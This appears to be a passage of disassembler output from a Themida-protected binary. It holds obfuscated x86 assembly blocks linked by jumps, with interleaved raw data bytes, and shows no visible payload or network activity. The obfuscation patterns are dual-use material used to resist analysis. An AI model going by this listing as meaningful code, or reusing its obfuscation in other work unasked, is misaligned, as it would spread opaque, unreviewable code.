		dd 0F41B2DBDh, 81D5F704h, 0EF56C8E5h, 3E5811Ah,	8137317Ch
		dd 3F02F0CDh, 40CD812Dh, 0E90FF203h, 5B1Bh, 4838CA81h
		dd 0AE6803D2h, 89000043h, 37BE2434h, 5763717Dh,	28CBE9h
		dd 0E3895300h, 4C381h, 0C3830000h, 241C8704h, 4BF575Ch
		dd 81000000h, 0D84A3EC6h, 81FE0155h, 0D84A3EEEh, 243C8B55h
		dd 8904EC83h, 0BFE9240Ch, 5EFFFF87h, 43FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D329:				; CODE XREF: Themida_:0055C031j
		mov	edx, 73D423AFh
		shr	edx, 4
		push	ecx
		mov	ecx, 7FFD5BD4h
		add	ecx, 4BBF0AD8h
		xor	ecx, 159932A9h
		jmp	loc_5573ED
; ---------------------------------------------------------------------------


loc_55D348:				; CODE XREF: Themida_:0055AAD4j
		mov	esi, 3D75357Ah
		jmp	loc_557268
; ---------------------------------------------------------------------------


loc_55D352:				; CODE XREF: Themida_:00555DA1j
		add	eax, 263B1381h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_552D73
; ---------------------------------------------------------------------------


loc_55D362:				; CODE XREF: Themida_:0055885Cj
		or	bp, 59B7h
		sub	bp, 0F8ABh
		sub	bx, bp
		pop	ebp
		sub	bx, 7C8h
		mov	esi, [esp]
		add	esp, 4
		add	bx, 11h
		add	bx, 778Dh
		movzx	eax, ax
		jmp	loc_559DAA
; ---------------------------------------------------------------------------
		db 0B8h, 2Bh, 79h
		dd 0D32D3447h, 48307A69h, 441E0D05h, 389E9B8h, 0E6B90000h
		dd 299997C4h, 0EE8959CDh, 6736E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D3B2:				; CODE XREF: Themida_:005644F8j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 73E8280Dh
		push	ecx
		jmp	loc_555DA6
; ---------------------------------------------------------------------------
		db 88h
		dd 34FF8734h, 0C4815A24h, 4, 57240C8Bh,	5C36E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D3DD:				; CODE XREF: Themida_:0055C76Ej
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	eax
		push	edi
		pop	eax
		mov	edi, [esp]
		jmp	loc_5558B1
; ---------------------------------------------------------------------------


loc_55D3ED:				; CODE XREF: Themida_:00555A08j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55E17F
; ---------------------------------------------------------------------------
		dd 7E2C15Fh, 0FFFFEA81h, 0C281FFFFh, 4F58782Dh,	0FD2AEA81h
		dd 0D78996E9h, 5FF8015Ah, 2474FF50h, 24048B04h,	4C481h
		dd 0AE90000h, 51FFFF3Bh, 8904EC83h, 55572414h, 9A36FC68h
		dd 1429E932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D43A:				; CODE XREF: Themida_:005559CEj
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_559FA7
; ---------------------------------------------------------------------------
		dd 0FF23C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D455:				; CODE XREF: Themida_:00562890j
		xchg	ecx, [esp]
		pop	esp
		add	ecx, ebx
		pop	ebx
		push	ecx
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		sub	[esp+4], esi
		pop	esi
		jmp	loc_552410
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSO		db '$o',0
		align 2
		dw 0CF29h
		dd 4909C781h, 81593A5Eh, 0EB52A2C7h, 0C7815976h, 2, 8B243C87h
		dd 1CE92424h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D49B:				; CODE XREF: Themida_:00555EEAj
		mov	[esp], edi
		push	57A5h
		mov	[esp], edi
		mov	edi, 27731B42h
		xor	[esp+4], edi
		pop	edi
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5597F0
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 55977503h, 2C8BEB29h, 8B545724h, 8950243Ch, 405E0h
		dd 0BE90000h, 83FFFFADh, 82E904ECh, 89FFFF8Ch, 4C581E5h
		dd 81000000h, 4EDh, 74FF5500h, 0E95D0424h, 24AEh
; ---------------------------------------------------------------------------


loc_55D500:				; CODE XREF: Themida_:0055FFE1j
		push	6F341D78h
		jmp	loc_560BC9
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 12721D12h, 0AAE9F729h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D517:				; CODE XREF: Themida_:0055D796j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		jmp	loc_55AAA2
; ---------------------------------------------------------------------------


loc_55D529:				; CODE XREF: Themida_:00561EA6j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	1978h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_554391
; ---------------------------------------------------------------------------
		db 0B8h, 0D8h, 76h
		dd 0BA5278C1h, 2CB22DCDh, 55AD021h, 1CACE742h, 8158C529h
		dd 0FD0C1AC5h, 0E9EA0155h, 0FFFF39EDh, 0DABBE957h, 0D101FFFFh
		dd 0FF5E0BE9h, 243481FFh, 29036807h, 0AAB9515Fh, 0E9337243h
		dd 0FFFF2A02h
; ---------------------------------------------------------------------------


loc_55D584:				; CODE XREF: Themida_:005573E8j
		push	38F6h
		jmp	loc_5577BC
; ---------------------------------------------------------------------------


loc_55D58E:				; CODE XREF: Themida_:00562751j
		push	ebx
		push	edi
		mov	edi, 42857FDh
		mov	ebx, 647CC6CBh
		sub	ebx, edi
		pop	edi
		push	eax
		mov	eax, 9FAB915Ah
		mov	edx, eax
		jmp	loc_55EBF4
; ---------------------------------------------------------------------------


loc_55D5AA:				; CODE XREF: Themida_:0056015Ej
		mov	[esp], edx
		mov	edx, 48A932F0h
		push	esi
		mov	esi, 2F3F4811h
		sub	[esp+8], esi
		pop	esi
		sub	[esp+4], edx
		push	edi
		mov	edi, 2F3F4811h
		jmp	loc_55B7AD
; ---------------------------------------------------------------------------
		dd 6804C483h, 2805h, 83240C89h,	0C8904ECh, 0D77AE924h
		dd 665CFFFFh, 68240C8Bh, 3AF4h,	68241C89h, 3C25h, 55242489h
		dd 690068h, 2DE6E900h, 5253FFFFh, 0F788CE88h, 5324148Bh
		dd 0FAE9E389h, 0BB000019h, 3D4E7ACFh, 815BDF31h, 468098C7h
		dd 5FF9014Eh, 4EC81h, 4AE90000h, 0BAFFFF9Eh, 7C4C62F6h
		dd 0FF3472E9h, 20CD80FFh, 87C580h, 240C8BEBh, 45EE9h, 4C48300h
		dd 4C481h, 5E90000h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D657:				; CODE XREF: Themida_:0055444Cj
		mov	[esp], ecx
		push	1
		mov	ecx, [esp]
		jmp	loc_5636B4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 281E7B05h, 54F0F581h, 0EA094D07h, 0FF55EFE9h, 243C33FFh
		dd 6624248Bh, 9C2424D3h, 0FF218DE9h, 81E589FFh,	4C5h, 4ED8100h
		dd 0E9000000h, 397Fh
; ---------------------------------------------------------------------------


loc_55D69C:				; CODE XREF: Themida_:005511E4j
		sub	edi, 3D023A0Ch
		add	edi, ebp
		push	ebp
		mov	ebp, 3D023A0Ch
		add	edi, ebp
		pop	ebp
		jmp	loc_55C350
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 3D125332h, 7A7EE581h, 0F5814EB4h, 48941A38h,	4E9EE01h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D6CB:				; CODE XREF: Themida_:00558439j
		pop	ebx
		push	ecx
		mov	cl, 41h
		jmp	loc_564B1A
; ---------------------------------------------------------------------------


loc_55D6D4:				; CODE XREF: Themida_:00553EFEj
		mov	ecx, 24h
		add	ecx, edi
		mov	[ecx], edx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_553CE2
; ---------------------------------------------------------------------------
		dw 5C68h
		dd 89000003h, 4BD242Ch,	1000000h, 242C8BEFh, 746EE9h, 5AD72900h
		dd 0FF6E2EE9h, 0C28142FFh, 636A6A14h, 0E907EAC1h, 0FFFFC844h
		dd 24048B66h, 7DA86852h, 0F2E90000h, 31000041h,	0D60158C2h
		dd 6682E95Ah, 815C0000h, 4C5h, 2685300h, 5B000000h, 2695E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D749:				; CODE XREF: Themida_:005647ECj
		xor	esi, 170DA6Ah
		jmp	loc_554737
; ---------------------------------------------------------------------------


loc_55D754:				; CODE XREF: Themida_:0055201Fj
		xor	edx, 84F9FDFBh
		add	eax, edx
		pop	edx
		mov	ecx, eax
		jmp	loc_553ACE
; ---------------------------------------------------------------------------


loc_55D764:				; CODE XREF: Themida_:00564F2Ej
		pop	esp
		mov	[esp], esi
		push	eax
		jmp	loc_561166
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4B850E1h, 1000000h, 97E958C1h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D77F:				; CODE XREF: Themida_:00555935j
		mov	edx, [esp]
		push	2C8h
		mov	[esp], ecx
		push	686Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D517
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 6E4E900h, 0E6C10000h, 0C6E68103h, 4E459479h, 7028F681h
		dd 0D6F75429h, 0DEF7DEF7h, 783DE956h, 248BFFFFh, 2CD36624h
		dd 47E99C24h, 81FFFF20h, 6271D3C2h, 0B3BE5617h,	315A9CD2h
		dd 0D1895EF2h, 8324148Bh, 0CB8904C4h, 14F75359h, 0CB815B24h
		dd 748C576Dh, 8107E3C1h, 4E367CCBh, 5FC38146h, 29136A3Dh
		dd 0ED815BDDh, 1, 0FF99F3E9h, 0B7C580FFh, 80D2E580h, 0EE88E7EDh
		dd 5AF78859h, 0FFAA59E9h, 1C8B59FFh, 4C48324h, 45436852h
		dd 0C890000h, 64A6B924h, 0F1816205h, 31B407A2h,	4BC7E181h
		dd 87492A52h, 0E9D2F7D1h, 13Ah,	815DEE29h, 1A208CEEh, 81CE2920h
		dd 1A208CC6h, 0E98AE920h, 0A404FFFFh, 26E7E9h, 24148B00h
		dd 4C481h, 47210000h, 24048B1Ch, 32FD68h, 242C8900h, 0B850E589h
		dd 0FA01C66h, 2D02E0C1h, 3E807194h, 2F71C581h, 0C50147C4h
		dd 0FF3D1AE9h, 4EC83FFh, 0FF9FD0E9h, 24248BFFh,	0FF1F65E9h
		dd 4C483FFh, 0C781F701h, 41812175h, 8124348Bh, 4C4h, 0E0895000h
		dd 405h, 42D00h, 4870000h, 1C895C24h, 4BB24h, 0DF010000h
		dd 243C335Bh, 33243C31h, 248B243Ch, 0D56AE924h,	3489FFFFh
		dd 2474FF24h, 24348B04h, 8F04C483h, 0DBE92404h,	57FFFFFCh
		dd 91E951h, 0E95F0000h,	570h, 4EC81h, 0EE90000h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D91F:				; CODE XREF: Themida_:0055A14Fj
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55784C
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0C53FE902h, 1C31FFFFh, 241C3324h, 6624248Bh,	66241489h
		dd 0B7E99C50h, 0BDFFFF1Eh, 28E150C2h, 787DCD81h, 0A4E9287Eh
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D96F:				; CODE XREF: Themida_:0055C08Aj
		mov	ebp, esp
		jmp	loc_55C73B
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 335DE801h,	4312404h, 90F5E924h, 0D131FFFFh
		dd 0D131CA31h, 0FFA31FE9h, 445268FFh, 0C9E90000h, 0B9FFFFE7h
		dd 4A9343E8h, 0C141D1F7h, 0F74104E1h, 0B6E957D9h, 81FFFF3Eh
		dd 4C7h, 0BD555200h, 2,	21EB68h, 9099E900h, 0E94FFFFFh
		dd 4D40h, 0F7802AB7h, 1BEF80B1h, 0FF83D5E9h, 4C283FFh
		dd 8B241487h, 0C4832424h, 637F6804h, 1C890000h,	52E38924h
		dd 4BAh, 6290E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D9FE:				; CODE XREF: Themida_:00556DD0j
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	1E98h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, 33FF3CC0h
		sub	edi, eax
		sub	edi, 33FF3CC0h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	5B31h
		mov	[esp], eax
		xchg	edx, [esp]
		jmp	loc_54FDAC
; ---------------------------------------------------------------------------
aUiSpb		db 'UB',0
		align 4
aRSV		db 'RS',0
		dw 5AF0h
aWs_n		db 'W_N',0
		align 2


loc_55DA66:				; CODE XREF: Themida_:005541D5j
		push	edx
		mov	edx, 4
		jmp	loc_55EC6F
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0BF575B04h, 6D960CC2h, 7580BE56h, 0EE8112E2h, 5A981658h
		dd 524068h, 24048900h, 1C6A58B8h, 0B7E95116h, 88FFFFBDh
		dd 8B042464h, 51E92404h, 83FFFFA8h, 0C32804C4h,	4B03E9h
		dd 52E18900h, 372FE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DABA:				; CODE XREF: Themida_:00555B09j
		push	esi
		mov	esi, 6D6D524Bh
		mov	eax, 59736329h
		xor	eax, esi
		pop	esi
		jmp	loc_564697
; ---------------------------------------------------------------------------


loc_55DACD:				; CODE XREF: Themida_:0055953Aj
		sub	eax, 0D5033892h
		or	edx, eax
		pop	eax
		jmp	loc_5646D3
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 539E25A4h, 226FCB81h, 87E91E6Ch, 52FFFF1Dh, 0C281E289h
		dd 4, 0FFB903E9h, 0E95451FFh, 0FFFF2113h, 5159CB01h, 297D0AB9h
		dd 49F1814Eh, 0C1418B05h, 0F18103E1h, 780263BFh, 0FF3839E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DB1D:				; CODE XREF: Themida_:00561DD4j
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		add	dword ptr [esp], 6FCF462Dh
		pop	edi
		sub	edi, 6FCF462Dh
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55A7FD
; ---------------------------------------------------------------------------


loc_55DB46:				; CODE XREF: Themida_:00552149j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 193C558Bh
		sub	ebx, 4D5F2A7Dh
		push	ecx
		mov	ecx, 787E11EAh
		add	ebx, ecx
		pop	ecx
		push	esi
		push	ebx
		mov	ebx, 0
		mov	esi, ebx
		pop	ebx
		sub	esi, ebx
		push	edx
		mov	edx, esi
		mov	ebx, edx
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 0B05095F3h
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		push	edx
		mov	edx, 316A3A7Ch
		sub	edx, 4BC92574h
		not	edx
		jmp	loc_556274
; ---------------------------------------------------------------------------
		db 0BAh, 0B0h, 5Bh
		dd 0E281669Ah, 2582602Eh, 4EC81h, 1C890000h, 7363E924h
		dd 0BE560000h, 19B239F9h, 0FFC205E9h, 241C8BFFh, 81E78957h
		dd 4C7h, 4C78300h, 0E9243C87h, 0FFFF98FBh, 0FF1C39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DBDD:				; CODE XREF: Themida_:00563159j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55E975
; ---------------------------------------------------------------------------
		db 88h
		dd 4C8A58C3h, 5C880424h, 1C8B0424h, 55E95224h, 81000056h
		dd 222751C1h, 0E9D1F748h, 0FFFF6F25h, 0B8240489h, 7F412961h
		dd 4A2EE9h, 24248B00h, 0E9240489h, 0FFFF1BF2h, 31243C33h
		dd 4AE9243Ch, 58FFFFFAh, 4C181h, 2E90000h, 8BFFFFBFh, 8950242Ch
		dd 405E0h, 0CFE90000h, 66000023h, 2404AB0Fh, 1BC0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DC56:				; CODE XREF: Themida_:0055653Aj
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	5A68h
		mov	[esp], eax
		jmp	loc_55A7CC
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 48F0000h,	24048324h, 2434FF04h, 4C4815Eh
		dd 68000000h, 49EFh, 0FFF55AE9h, 54535CFFh, 4C3815Bh, 83000000h
		dd 1C8704C3h, 0EC815C24h, 4, 0FF9182E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DCA9:				; CODE XREF: Themida_:00556931j
		pop	ebp
		mov	esi, 4BBA6A9Ah
		sub	esi, edx
		pop	edx
		mov	ecx, 3C841414h
		sub	ecx, esi
		jmp	loc_55C42F
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 61F68106h, 2903FF5Ah, 3C875EF7h, 4895C24h, 0E9585424h
		dd 404Eh, 4C481h, 8AE90000h, 89FFFF7Ch,	79E92434h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DCEB:				; CODE XREF: Themida_:005619F6j
		pop	ebp
		pop	ebx
		or	edi, 321A2509h
		not	edi
		inc	edi
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	eax
		mov	eax, 6A02C9h
		inc	eax
		inc	eax
		not	eax
		add	eax, 12CB4CF5h
		mov	ecx, eax
		pop	eax
		mov	edx, 54F85383h
		sub	edx, ecx
		jmp	loc_556ED3
; ---------------------------------------------------------------------------
		db 1
		dd 0BAB4E9C5h, 0C981FFFFh, 465123A6h, 1E14E981h, 0E181BCD6h
		dd 5CA76D32h, 5046E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DD39:				; CODE XREF: Themida_:00561DF3j
		sub	bl, dl
		sub	bl, 7Bh
		sub	bl, 91h
		sub	bl, 0D2h
		pop	edx
		jmp	loc_557286
; ---------------------------------------------------------------------------


loc_55DD4A:				; CODE XREF: Themida_:00560015j
		sub	ebp, 233D3E3Fh
		add	ebp, edx
		push	esi
		mov	esi, 32431152h
		jmp	loc_55703B
; ---------------------------------------------------------------------------


loc_55DD5D:				; CODE XREF: Themida_:0055CD1Dj
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0AEEB81D3h, 896CB891h, 0CEE95BD8h, 81FFFFACh, 4C4h
		dd 0C8B5E00h, 4C48324h,	52243C8Bh, 0C281E289h, 4, 8704C283h
		dd 0E95C2414h, 0FFFF1A5Eh, 0CFCB850h, 0C531716Eh, 6028E958h
		dd 0C083FFFFh, 24048702h, 3824248Bh, 3FE99CC1h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DDD7:				; CODE XREF: Themida_:00554CD6j
		and	ebp, 1C823A2Dh
		dec	ebp
		push	edx
		mov	edx, 0E8F386Fh
		add	ebp, 5E4C745Dh
		add	ebp, edx
		sub	ebp, 5E4C745Dh
		jmp	loc_5548A7
; ---------------------------------------------------------------------------
		db 80h
		dd 0EE8016EFh, 80FE28A7h, 0E95BA7C6h, 0FFFFE4F0h
; ---------------------------------------------------------------------------


loc_55DE08:				; CODE XREF: Themida_:00556A1Aj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_563D44
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0Ah
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE1F:				; CODE XREF: Themida_:00556363j
		pop	dx
		and	ah, 0F2h
		sub	ah, 21h
		mov	dh, ah
		jmp	loc_55A3F9
; ---------------------------------------------------------------------------
		dw 43B9h
		dd 0BD56813Bh, 0D5243E7h, 5259CD01h, 0E27AE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE42:				; CODE XREF: Themida_:0054FBAEj
		pop	esp
		jmp	loc_5633E1
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 0EABD5500h,	29789559h, 69DE9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE5E:				; CODE XREF: Themida_:00555D43j
		sub	ch, 7Fh
		jmp	loc_55C43A
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 123F6859h, 0BB53CE29h, 123F6859h, 0FF659AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DE79:				; CODE XREF: Themida_:00554ACEj
		xor	esi, 75DE7FB7h
		jmp	loc_54FC4C
; ---------------------------------------------------------------------------
		dd 3B5FE94Dh, 0BD55FFFFh, 4, 875DEB01h,	0F75C241Ch, 354840D0h
		dd 0A239A489h, 242C8150h, 0A254620h, 0FF2F33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DEAD:				; CODE XREF: Themida_:0055F51Fj
		push	eax
		mov	eax, 1A31380h
		mov	esi, 54E54EB0h
		xor	esi, eax
		mov	eax, [esp]
		jmp	loc_554AC5
; ---------------------------------------------------------------------------
		dw 1AB9h
		dd 0F70E7872h, 0FFE981D9h, 51FFFFFFh, 0E92414F7h, 0FFFF4B0Eh
; ---------------------------------------------------------------------------


loc_55DED8:				; CODE XREF: Themida_:00560FF6j
		pop	esp
		push	edx
		mov	edx, 711D37BFh
		jmp	loc_55BF91
; ---------------------------------------------------------------------------


loc_55DEE4:				; CODE XREF: Themida_:00553869j
		pop	ecx
		jmp	loc_5526E5
; ---------------------------------------------------------------------------


loc_55DEEA:				; CODE XREF: Themida_:00552196j
		mov	[esp], ecx
		push	edx
		jmp	loc_55BBD2
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF277FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DEF9:				; CODE XREF: Themida_:00553DC5j
		or	esi, 40A0704Dh
		jmp	loc_55005C
; ---------------------------------------------------------------------------
		dd 0E905E6C1h, 0FFFF3270h, 0E41AB4BAh, 81D2F718h, 404BCEEAh
		dd 5AF28147h, 0E900527Ah, 5D86h, 0F7241489h, 815A2414h
		dd 98435EAh, 0EC815292h, 4, 0E9240489h,	0FFFFC32Fh, 0C380D3F6h
		dd 65A3E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF4A:				; CODE XREF: Themida_:005606ECj
		jz	loc_55A906
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_556D85
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0C2h
		dd 66FFFFF5h, 0E924248Bh, 0FFFF188Eh, 207F83ADh, 271AE900h
		dd 0C3810000h, 3896741Bh, 8330EB81h, 0DA29DB49h, 81525F5Bh
		dd 59D0242Ch, 348B3542h, 4C48324h, 59D0BA52h, 0D6013542h
		dd 8124148Bh, 4C4h, 0F1015A00h,	223BE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DFCA:				; CODE XREF: Themida_:00559716j
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55B5E8
; ---------------------------------------------------------------------------


loc_55DFEC:				; CODE XREF: Themida_:005527E0j
		mov	[esp], ecx
		jmp	loc_5632A8
; ---------------------------------------------------------------------------


loc_55DFF4:				; CODE XREF: Themida_:00559A7Fj
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_551F31
; ---------------------------------------------------------------------------
		dd 8159CB89h, 0DF04246Ch, 1647265h, 8104245Ch, 0DF042444h
		dd 8B647265h, 0C481241Ch, 4, 0E924348Bh, 0FFFF382Ch, 4C481h
		dd 0EF810000h, 2B711A74h, 0C781D701h, 2B711A74h, 79C7815Ah
		dd 526C7F47h, 0FF17E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E04D:				; CODE XREF: Themida_:00560D5Ej
		mov	ecx, 1D126A5Dh
		inc	ecx
		shl	ecx, 8
		jmp	loc_559BE3
; ---------------------------------------------------------------------------
		db 58h
		dd 6AE98149h, 817A7861h, 4ECh, 243C8900h, 0EA7236BFh, 5FF9290Ch
		dd 5752D1F7h, 8B0641BFh, 0F74F4F72h, 2EFC1D7h, 0C781DFF7h
		dd 0C875F0D4h, 0E95FFA89h, 26FDh
; ---------------------------------------------------------------------------


loc_55E094:				; CODE XREF: Themida_:005619DBj
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 3F375ACDh
		not	esi
		not	esi
		jmp	loc_555A65
; ---------------------------------------------------------------------------
aLHl		db '$$h$',0
		align 2
		dw 0A1E9h
		dd 59FFFFEEh, 27F3EB81h, 0EB01329Fh, 27F3C381h,	0E952329Fh
		dd 0FFFFBD9Dh, 53243C89h, 0C381E389h, 4, 8704EB83h, 6AE9241Ch
		dd 0ADFFFFB1h, 0E468D831h, 89000017h, 15E9242Ch, 28FFFFCBh
		dd 0B3C380C3h, 5208EB80h, 0FF899DE9h, 5C9DBAFFh, 2CBF660Dh
		dd 0E994757Ch, 0FFFFF5F5h, 5C243487h, 0FF16FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E119:				; CODE XREF: Themida_:005610B3j
		push	6A3D1B9Ch
		pop	ecx
		push	edi
		jmp	loc_554AD3
; ---------------------------------------------------------------------------
		db 0B0h, 51h, 53h
		dd 0DE88C388h, 0FF9659E9h, 7EEFBFFFh, 0F78176DEh, 17184B65h
		dd 5006E947h, 0D0010000h, 675BBE05h, 6DE90557h,	148B195Dh
		dd 4C48124h, 52000000h,	0DEEC37BAh, 0E9D00191h,	0FFFFF709h
		dd 2882F680h, 2C5A5AF0h, 241C8BABh, 8304C483h, 896602ECh
		dd 0C6E92404h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E17F:				; CODE XREF: Themida_:0055D3F3j
		push	dword ptr [esp]
		jmp	loc_55AE78
; ---------------------------------------------------------------------------


loc_55E187:				; CODE XREF: Themida_:0055F6ABj
		sub	ecx, 31C82BC5h
		pop	edi
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 390B4252h
		mov	ebx, 390B4252h
		xor	ebx, ebp
		pop	ebp
		add	ebx, ecx
		push	ecx
		jmp	loc_564761
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 1664E940h, 0C381FFFFh, 4, 0FF8C76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E1BD:				; CODE XREF: Themida_:005508EBj
		push	edx
		mov	edx, 156A258Eh
		add	[esp+4], edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_55AFF8
; ---------------------------------------------------------------------------


loc_55E1E7:				; CODE XREF: Themida_:005565C3j
		push	edx
		mov	edx, 6F263239h
		add	edx, 4D42B61h
		add	esi, edx
		pop	edx
		push	7CEh
		jmp	loc_553F03
; ---------------------------------------------------------------------------
aWsla		db 'Wla',0
		align 2
		dw 0CE80h
		dd 80D6F64Dh, 0E6C001EEh, 33B45005h, 0F606ECC0h, 3ECC0DCh
		dd 0A3C480h, 0F00058E6h, 0E924148Bh, 0FFFFCA0Ch, 53B36850h
		dd 14890000h, 0F3F5E924h, 0ABFFFFFh, 0E91F643Ah, 0FFFF6E45h
		dd 0EA81CA29h, 7E5D1310h, 83240C8Bh, 0F4E904C4h, 68FFFF35h
		dd 5063h, 83242489h, 59042404h,	4C181h,	0E9810000h, 4
		dd 0FF6001E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E275:				; CODE XREF: Themida_:0055EBEFj
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_564774
; ---------------------------------------------------------------------------


loc_55E28D:				; CODE XREF: Themida_:0055E673j
		sub	ebp, edx
		sub	ebp, 18A715A8h
		jmp	loc_55940E
; ---------------------------------------------------------------------------
		dw 81BDh
		dd 29EDBD28h, 242C8BEFh, 4C481h, 0FE010000h, 83243C8Bh
		dd 0DE0104C4h, 0FF460CE9h, 3E1C1FFh, 0FF4E2BE9h, 4C481FFh
		dd 83000000h, 313504C4h, 0F7475936h, 0B3BF57D0h, 1475136h
		dd 2434FFF8h, 28E9505Fh, 51FFFFB0h, 0DBB0A0B9h,	59CF29CBh
		dd 495FF989h, 2EAAE981h, 0EA8164A3h, 51F45B45h,	4E76E9h
		dd 4C18100h, 83000000h,	0C8702C1h, 8B665C24h, 0AEE9240Ch
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


